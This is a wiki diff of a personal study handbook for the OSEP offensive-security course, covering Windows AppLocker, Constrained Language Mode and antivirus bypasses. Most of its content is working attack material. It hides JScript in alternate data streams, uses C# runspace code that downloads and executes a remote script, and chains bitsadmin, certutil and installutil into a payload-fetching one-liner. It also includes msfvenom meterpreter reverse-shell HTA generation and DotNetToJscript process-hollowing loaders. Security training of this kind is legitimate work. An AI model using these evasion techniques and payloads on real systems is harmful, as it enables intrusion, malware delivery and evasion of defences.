Handbook II - Advanced: Difference between revisions
imported>Aghanim No edit summary |
No edit summary |
||
| (6 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
== Great websites == | == Great websites == | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 34: | Line 33: | ||
| [https://malapi.io/ MalAPI.io] | | [https://malapi.io/ MalAPI.io] | ||
|} | |} | ||
== Sources == | == Sources == | ||
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security's PEN-300 (OSEP) course.] | [https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security's PEN-300 (OSEP) course.] | ||
Offsec Pen-300 PDF | Offsec Pen-300 PDF | ||
== Important! == | == Important! == | ||
See this for a comprehensive guide on AV evasion with many different examples. | See this for a comprehensive guide on AV evasion with many different examples. | ||
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM] | [https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM] | ||
== OSEP Notes Overview PT 1 by Joas == | == OSEP Notes Overview PT 1 by Joas == | ||
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download] | [https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download] | ||
== Mitre Framework == | == Mitre Framework == | ||
{| class="wikitable" | {| class="wikitable" | ||
|- | |- | ||
| Line 105: | Line 84: | ||
| Empower cyber practitioners by saving time, money, and energy through automated security assessments. | | Empower cyber practitioners by saving time, money, and energy through automated security assessments. | ||
|} | |} | ||
== Impersonation vs delegation == | == Impersonation vs delegation == | ||
* '''Impersonation Tokens''': These tokens can be used to impersonate another user on the same system. You don't necessarily need SYSTEM privileges to obtain and use these tokens. | * '''Impersonation Tokens''': These tokens can be used to impersonate another user on the same system. You don't necessarily need SYSTEM privileges to obtain and use these tokens. | ||
* '''Delegation Tokens''': These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account. | * '''Delegation Tokens''': These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account. | ||
== Managed vs Unmanaged code == | == Managed vs Unmanaged code == | ||
'''Managed Code:''' Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don't have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure. | '''Managed Code:''' Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don't have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure. | ||
'''Unmanaged Code:''' Now, imagine you're living in your own house. You're in charge of everything – cleaning, fixing, and making sure it's safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure. | '''Unmanaged Code:''' Now, imagine you're living in your own house. You're in charge of everything – cleaning, fixing, and making sure it's safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure. | ||
== AppLocker Basics == | == AppLocker Basics == | ||
=== Enumerate AppLocker === | === Enumerate AppLocker === | ||
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses. | Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses. | ||
Here's a guide on how to enumerate AppLocker: | Here's a guide on how to enumerate AppLocker: | ||
* '''Using PowerShell''': | * '''Using PowerShell''': | ||
* View current AppLocker policies: | * View current AppLocker policies: | ||
<code>powershell Get-AppLockerPolicy -Effective -xml</code> | <code>powershell Get-AppLockerPolicy -Effective -xml</code> | ||
* Check for any configured rules: | * Check for any configured rules: | ||
<code>powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections</code> | <code>powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections</code> | ||
* '''Using Windows Event Viewer''': | * '''Using Windows Event Viewer''': | ||
* AppLocker logs its events under 'Applications and Services Logs > Microsoft > Windows > AppLocker'. | * AppLocker logs its events under 'Applications and Services Logs > Microsoft > Windows > AppLocker'. | ||
* Look for these event IDs: | * Look for these event IDs: | ||
8002: A rule was ignored because its conditions were incomplete. | 8002: A rule was ignored because its conditions were incomplete. | ||
* 8003: No AppLocker rules were applied because no rules are in the policy. | * 8003: No AppLocker rules were applied because no rules are in the policy. | ||
* 8004: AppLocker started enforcing rules. | * 8004: AppLocker started enforcing rules. | ||
* 8005: AppLocker stopped enforcing rules. | * 8005: AppLocker stopped enforcing rules. | ||
* 8006: AppLocker policy was changed. | * 8006: AppLocker policy was changed. | ||
* 8007: AppLocker encountered an error with a rule and continued processing rules. | * 8007: AppLocker encountered an error with a rule and continued processing rules. | ||
* 8008: AppLocker policy was deleted. | * 8008: AppLocker policy was deleted. | ||
* '''Using the Local Security Policy MMC''': | * '''Using the Local Security Policy MMC''': | ||
* Go to <code>Start > Run</code> and type <code>secpol.msc</code>. | * Go to <code>Start > Run</code> and type <code>secpol.msc</code>. | ||
* In the Security Settings tree, go to <code>Application Control Policies > AppLocker</code>. | * In the Security Settings tree, go to <code>Application Control Policies > AppLocker</code>. | ||
* '''Using Group Policy Editor''': | * '''Using Group Policy Editor''': | ||
* Go to <code>Start > Run</code> and type <code>gpedit.msc</code>. | * Go to <code>Start > Run</code> and type <code>gpedit.msc</code>. | ||
* Navigate to <code>Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker</code>. | * Navigate to <code>Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker</code>. | ||
* '''Check for AppLocker's DLL Rules''': | * '''Check for AppLocker's DLL Rules''': | ||
* Sometimes, administrators overlook DLL rules which can be used for bypasses. | * Sometimes, administrators overlook DLL rules which can be used for bypasses. | ||
* Use PowerShell to check DLL rules: | * Use PowerShell to check DLL rules: | ||
<code>powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq 'DllRule' }</code> | <code>powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq 'DllRule' }</code> | ||
* Using PowerUp.ps; | * Using PowerUp.ps; | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
PS C:\>. .\PowerUp.ps1 | PS C:\>. .\PowerUp.ps1 | ||
PS C:\>Invoke-AllChecks | PS C:\>Invoke-AllChecks | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Identify Writeable folders === | === Identify Writeable folders === | ||
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe. | Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Find writeable folders | # Find writeable folders | ||
accesschk.exe "student" C:\Windows -wus | accesschk.exe "student" C:\Windows -wus | ||
# Check Executable Permissions | # Check Executable Permissions | ||
icacls.exe C:\Windows\Tasks | icacls.exe C:\Windows\Tasks | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# This folder is used by the Task Scheduler to store scheduled tasks. | # This folder is used by the Task Scheduler to store scheduled tasks. | ||
C:\Windows\Tasks | C:\Windows\Tasks | ||
# Temporary files are stored in this directory. This is a common writable directory for all users. | # Temporary files are stored in this directory. This is a common writable directory for all users. | ||
C:\Windows\Temp | C:\Windows\Temp | ||
# Used for network tracing logs. | # Used for network tracing logs. | ||
C:\Windows\tracing | C:\Windows\tracing | ||
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update). | # Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update). | ||
C:\Windows\Registration\CRMLog | C:\Windows\Registration\CRMLog | ||
# Related to fax services. | # Related to fax services. | ||
C:\Windows\System32\FxsTmp | C:\Windows\System32\FxsTmp | ||
# Also related to the Task Scheduler, but not typically writable for standard users by default. | # Also related to the Task Scheduler, but not typically writable for standard users by default. | ||
C:\Windows\System32\Tasks | C:\Windows\System32\Tasks | ||
# This is where AppLocker configuration and event log data are stored. | # This is where AppLocker configuration and event log data are stored. | ||
C:\Windows\System32\AppLocker | C:\Windows\System32\AppLocker | ||
# COM+ dump folder. | # COM+ dump folder. | ||
C:\Windows\System32\Com\dmp | C:\Windows\System32\Com\dmp | ||
# Contains cryptographic keys used by the OS. | # Contains cryptographic keys used by the OS. | ||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys | C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys | ||
# Print spooler folder, where print jobs are temporarily stored. | # Print spooler folder, where print jobs are temporarily stored. | ||
C:\Windows\System32\spool\PRINTERS | C:\Windows\System32\spool\PRINTERS | ||
# Another print spooler related directory. | # Another print spooler related directory. | ||
C:\Windows\System32\spool\SERVERS | C:\Windows\System32\spool\SERVERS | ||
# Contains color profiles for devices. | # Contains color profiles for devices. | ||
C:\Windows\System32\spool\drivers\color | C:\Windows\System32\spool\drivers\color | ||
# Specific task related to OneDrive updates. | # Specific task related to OneDrive updates. | ||
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-... | C:\Windows\System32\Tasks\OneDrive Standalone Update Task-... | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Alternate Data Stream === | === Alternate Data Stream === | ||
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data. | * Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data. | ||
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes. | * NTFS supports multiple streams, allowing the storage of metadata in binary file attributes. | ||
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files. | * ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files. | ||
Combine this technique with DotNetToJscript to get a meterpreter shell. | Combine this technique with DotNetToJscript to get a meterpreter shell. | ||
'''1. Creating a Simple Jscript for Proof of Concept''': | '''1. Creating a Simple Jscript for Proof of Concept''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 295: | Line 171: | ||
var res = shell.Run("cmd.exe"); | var res = shell.Run("cmd.exe"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Save the above Jscript as test.js . | * Save the above Jscript as test.js . | ||
'''2. Finding a Writable and Executable File''': | '''2. Finding a Writable and Executable File''': | ||
* A trusted location is required that has files both writable and executable. | * A trusted location is required that has files both writable and executable. | ||
* Example: TeamViewer version 12 on the victim machine has a log file ( TeamViewer12_Logfile.log ) that meets the criteria. | * Example: TeamViewer version 12 on the victim machine has a log file ( TeamViewer12_Logfile.log ) that meets the criteria. | ||
'''3. Embedding the Jscript into an Alternate Data Stream (ADS)''': | '''3. Embedding the Jscript into an Alternate Data Stream (ADS)''': | ||
* Use the type command to copy the content into an ADS of the trusted file. | * Use the type command to copy the content into an ADS of the trusted file. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\Users\student>type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js" | C:\Users\student>type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''4. Verifying the Jscript in the Alternate Data Stream''': | '''4. Verifying the Jscript in the Alternate Data Stream''': | ||
* Use the dir /r command to validate the Jscript presence in the ADS. | * Use the dir /r command to validate the Jscript presence in the ADS. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log" | dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log" | ||
Volume in drive C has no label. | Volume in drive C has no label. | ||
Volume Serial Number is 2467-A865 | Volume Serial Number is 2467-A865 | ||
Directory of C:\Program Files (x86)\TeamViewer | Directory of C:\Program Files (x86)\TeamViewer | ||
09/25/2023 06:05 AM 62,790 TeamViewer12_Logfile.log | 09/25/2023 06:05 AM 62,790 TeamViewer12_Logfile.log | ||
11,736 TeamViewer12_Logfile.log:demo.js:$DATA | 11,736 TeamViewer12_Logfile.log:demo.js:$DATA | ||
1 File(s) 62,790 bytes | 1 File(s) 62,790 bytes | ||
0 Dir(s) 8,034,390,016 bytes free | 0 Dir(s) 8,034,390,016 bytes free | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* The output should show the TeamViewer12_Logfile.log:test.js:$DATA indicating successful writing to the alternate data stream. | * The output should show the TeamViewer12_Logfile.log:test.js:$DATA indicating successful writing to the alternate data stream. | ||
'''5. Executing the Jscript from the Alternate Data Stream''': | '''5. Executing the Jscript from the Alternate Data Stream''': | ||
* Double-clicking the icon for the log file ( TeamViewer12_Logfile.log ) opens it in Notepad as a standard log file. | * Double-clicking the icon for the log file ( TeamViewer12_Logfile.log ) opens it in Notepad as a standard log file. | ||
* To execute the embedded Jscript, run it from the command line using wscript and specify the ADS. | * To execute the embedded Jscript, run it from the command line using wscript and specify the ADS. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js" | wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== AppLocker Bypass Using Powershell == | == AppLocker Bypass Using Powershell == | ||
=== Constrained Language Mode === | === Constrained Language Mode === | ||
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you're restricted in what you can do to avoid dangerous situations. | Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you're restricted in what you can do to avoid dangerous situations. | ||
==== Enumerate CLM ==== | ==== Enumerate CLM ==== | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Custom Runspace ==== | ==== Custom Runspace ==== | ||
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present. | In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present. | ||
The code below will execute in Full Language mode. | The code below will execute in Full Language mode. | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget | # If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget | ||
# Add a reference to System.Configuration.Install in Visual Studio. | # Add a reference to System.Configuration.Install in Visual Studio. | ||
using System; | using System; | ||
using System.Management.Automation; | using System.Management.Automation; | ||
using System.Management.Automation.Runspaces; | using System.Management.Automation.Runspaces; | ||
using static System.Net.Mime.MediaTypeNames; | using static System.Net.Mime.MediaTypeNames; | ||
namespace Bypass | namespace Bypass | ||
{ | { | ||
| Line 408: | Line 247: | ||
Runspace rs = RunspaceFactory.CreateRunspace(); | Runspace rs = RunspaceFactory.CreateRunspace(); | ||
rs.Open(); | rs.Open(); | ||
PowerShell ps = PowerShell.Create(); | PowerShell ps = PowerShell.Create(); | ||
ps.Runspace = rs; | ps.Runspace = rs; | ||
String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX"; | String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX"; | ||
ps.AddScript(cmd); | ps.AddScript(cmd); | ||
| Line 420: | Line 257: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== PowerShell CLM Bypass ==== | ==== PowerShell CLM Bypass ==== | ||
Use only <code> uninstall</code> as <code> install</code> requires admin privileges. | Use only <code> uninstall</code> as <code> install</code> requires admin privileges. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget | # If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget | ||
using System; | using System; | ||
using System.Management.Automation; | using System.Management.Automation; | ||
using System.Management.Automation.Runspaces; | using System.Management.Automation.Runspaces; | ||
using System.Configuration.Install; | using System.Configuration.Install; | ||
namespace Bypass | namespace Bypass | ||
{ | { | ||
| Line 445: | Line 274: | ||
} | } | ||
} | } | ||
[System.ComponentModel.RunInstaller(true)] | [System.ComponentModel.RunInstaller(true)] | ||
public class Sample : System.Configuration.Install.Installer | public class Sample : System.Configuration.Install.Installer | ||
| Line 463: | Line 291: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To execute the code above | To execute the code above | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===== Bypassing Antivirus ===== | ===== Bypassing Antivirus ===== | ||
* Download and obfuscate the executable with Base64 encoding using certutil on the development Windows machine | * Download and obfuscate the executable with Base64 encoding using certutil on the development Windows machine | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
certutil -encode | certutil -encode | ||
| Line 492: | Line 310: | ||
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA | AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA | ||
</syntaxhighlight> | </syntaxhighlight> | ||
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header. | IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
Unable to complete transfer. | Unable to complete transfer. | ||
ERROR FILE: http://192.168.45.198/file.txt -> C:\users\student\enc.txt | ERROR FILE: http://192.168.45.198/file.txt -> C:\users\student\enc.txt | ||
ERROR CODE: 0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se | ERROR CODE: 0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se | ||
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed. | ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Decode it on disk using certutil -decode . | * Decode it on disk using certutil -decode . | ||
* Use bitsadmin for the downloading. | * Use bitsadmin for the downloading. | ||
* '''Combining Commands''': | * '''Combining Commands''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe | bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-09-image-3.png|thumb]] | [[File:2023-09-image-3.png|thumb]] | ||
==== Bypass CLM using Meterpreter Powershell_execute ==== | ==== Bypass CLM using Meterpreter Powershell_execute ==== | ||
You can bypass CLM using meterpreters <code>load powershell</code> | You can bypass CLM using meterpreters <code>load powershell</code> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
meterpreter > load powershell | meterpreter > load powershell | ||
meterpreter > powershell_execute $ExecutionContext.SessionState.LanguageMode | meterpreter > powershell_execute $ExecutionContext.SessionState.LanguageMode | ||
[+] Command execution completed: | [+] Command execution completed: | ||
FullLanguage | FullLanguage | ||
meterpreter > shell | meterpreter > shell | ||
Process 6960 created. | Process 6960 created. | ||
| Line 543: | Line 336: | ||
Microsoft Windows [Version 10.0.18363.900] | Microsoft Windows [Version 10.0.18363.900] | ||
(c) 2019 Microsoft Corporation. All rights reserved. | (c) 2019 Microsoft Corporation. All rights reserved. | ||
C:\Windows\system32>powershell | C:\Windows\system32>powershell | ||
powershell | powershell | ||
Windows PowerShell | Windows PowerShell | ||
Copyright (C) Microsoft Corporation. All rights reserved. | Copyright (C) Microsoft Corporation. All rights reserved. | ||
Try the new cross-platform PowerShell https://aka.ms/pscore6 | Try the new cross-platform PowerShell https://aka.ms/pscore6 | ||
PS C:\Windows\system32> | PS C:\Windows\system32> | ||
PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode | PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode | ||
| Line 558: | Line 347: | ||
PS C:\Windows\system32> | PS C:\Windows\system32> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Bypass-clm script form github ==== | ==== Bypass-clm script form github ==== | ||
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass] | [https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== CLMroute - Github repo ==== | ==== CLMroute - Github repo ==== | ||
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.] | [https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd="whoami /priv" C:\windows\tasks\clmr.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd="whoami /priv" C:\windows\tasks\clmr.exe | ||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url="http://192.168.45.180/PowerUpSQL.ps1" /cmd="Get-SQLInstanceLocal -Verbose" C:\windows\tasks\clmr.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url="http://192.168.45.180/PowerUpSQL.ps1" /cmd="Get-SQLInstanceLocal -Verbose" C:\windows\tasks\clmr.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Reflective injection ==== | ==== Reflective injection ==== | ||
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1. | The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1. | ||
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil. | This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil. | ||
* '''Generate a 64-bit Meterpreter DLL''': This will be our payload. | * '''Generate a 64-bit Meterpreter DLL''': This will be our payload. | ||
* '''Host Meterpreter DLL on Kali Apache server'''. | * '''Host Meterpreter DLL on Kali Apache server'''. | ||
* '''Upload Invoke-ReflectivePEInjection.ps1 ''' (Don't use the Github version, use the one from Offsec) to the Apache server. | * '''Upload Invoke-ReflectivePEInjection.ps1 ''' (Don't use the Github version, use the one from Offsec) to the Apache server. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
| Line 607: | Line 375: | ||
using System.Management.Automation.Runspaces; | using System.Management.Automation.Runspaces; | ||
using System.Configuration.Install; | using System.Configuration.Install; | ||
namespace Bypass | namespace Bypass | ||
{ | { | ||
| Line 617: | Line 384: | ||
} | } | ||
} | } | ||
[System.ComponentModel.RunInstaller(true)] | [System.ComponentModel.RunInstaller(true)] | ||
public class Sample : System.Configuration.Install.Installer | public class Sample : System.Configuration.Install.Installer | ||
| Line 635: | Line 401: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To execute the above on target machine, use the command | To execute the above on target machine, use the command | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-09-image-4.png|thumb]] | [[File:2023-09-image-4.png|thumb]] | ||
[[File:2023-09-image-5.png|thumb]] | [[File:2023-09-image-5.png|thumb]] | ||
== AppLocker Bypass Using JScript == | == AppLocker Bypass Using JScript == | ||
=== JScript and HTA === | === JScript and HTA === | ||
See also "Droppers" and HTA. | See also "Droppers" and HTA. | ||
* Microsoft HTML Applications (MSHTA) execute <code>.hta</code> files using <code>mshta.exe</code> . | * Microsoft HTML Applications (MSHTA) execute <code>.hta</code> files using <code>mshta.exe</code> . | ||
* <code>.hta</code> files can have embedded JScript or VBS code. | * <code>.hta</code> files can have embedded JScript or VBS code. | ||
* <code>mshta.exe</code> is commonly whitelisted because it's in <code>C:\Windows\System32</code> and is a signed Microsoft application. | * <code>mshta.exe</code> is commonly whitelisted because it's in <code>C:\Windows\System32</code> and is a signed Microsoft application. | ||
* Using <code>mshta.exe</code> can bypass whitelisting as an alternative to <code>wscript.exe</code> . | * Using <code>mshta.exe</code> can bypass whitelisting as an alternative to <code>wscript.exe</code> . | ||
Create a shortcut file on Windows target and create a <code>.hta</code> file. For example, you can you use msfvenom | Create a shortcut file on Windows target and create a <code>.hta</code> file. For example, you can you use msfvenom | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f hta-psh -o index.hta | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f hta-psh -o index.hta | ||
</syntaxhighlight> | </syntaxhighlight> | ||
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling. | This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling. | ||
'''How to get a meterpreter shell using Jscript and MSHTA''' | '''How to get a meterpreter shell using Jscript and MSHTA''' | ||
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection. | Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection. | ||
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta. | Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta. | ||
Step 3 - To do this add HTML tags to the <code>.js</code> file and change the extension to <code>.hta</code>. Call it index.hta. | Step 3 - To do this add HTML tags to the <code>.js</code> file and change the extension to <code>.hta</code>. Call it index.hta. | ||
The code below is the outputted DotNetToJs jscript file but the the <html> tags added. | The code below is the outputted DotNetToJs jscript file but the the <html> tags added. | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
function setversion() { | function setversion() { | ||
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319'; | new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319'; | ||
} | } | ||
function debug(s) {} | function debug(s) {} | ||
function base64ToStream(b) { | function base64ToStream(b) { | ||
var enc = new ActiveXObject("System.Text.ASCIIEncoding"); | var enc = new ActiveXObject("System.Text.ASCIIEncoding"); | ||
| Line 723: | Line 457: | ||
return ms; | return ms; | ||
} | } | ||
